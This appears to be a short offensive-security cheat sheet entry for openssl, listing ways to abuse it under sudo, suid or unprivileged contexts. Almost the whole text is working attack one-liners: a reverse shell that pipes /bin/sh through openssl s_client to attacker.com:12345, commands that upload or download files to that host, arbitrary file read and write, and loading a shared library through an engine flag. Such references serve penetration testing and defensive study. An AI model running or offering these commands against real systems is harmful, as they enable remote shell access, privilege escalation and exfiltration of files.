openssl

Download

Context: sudo, suid, unprivileged

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file

File Read

Context: sudo, suid, unprivileged

openssl enc -in /path/to/input-file

File Write

Context: sudo, suid, unprivileged

echo DATA | openssl enc -out /path/to/output-file

Context: sudo, suid, unprivileged

openssl enc -in /path/to/input-file -out /path/to/output-file

Library Load

Context: sudo, suid, unprivileged

openssl req -engine ./lib.so

Reverse Shell

Context: sudo, suid, unprivileged

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket

Upload

Context: sudo, suid, unprivileged

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file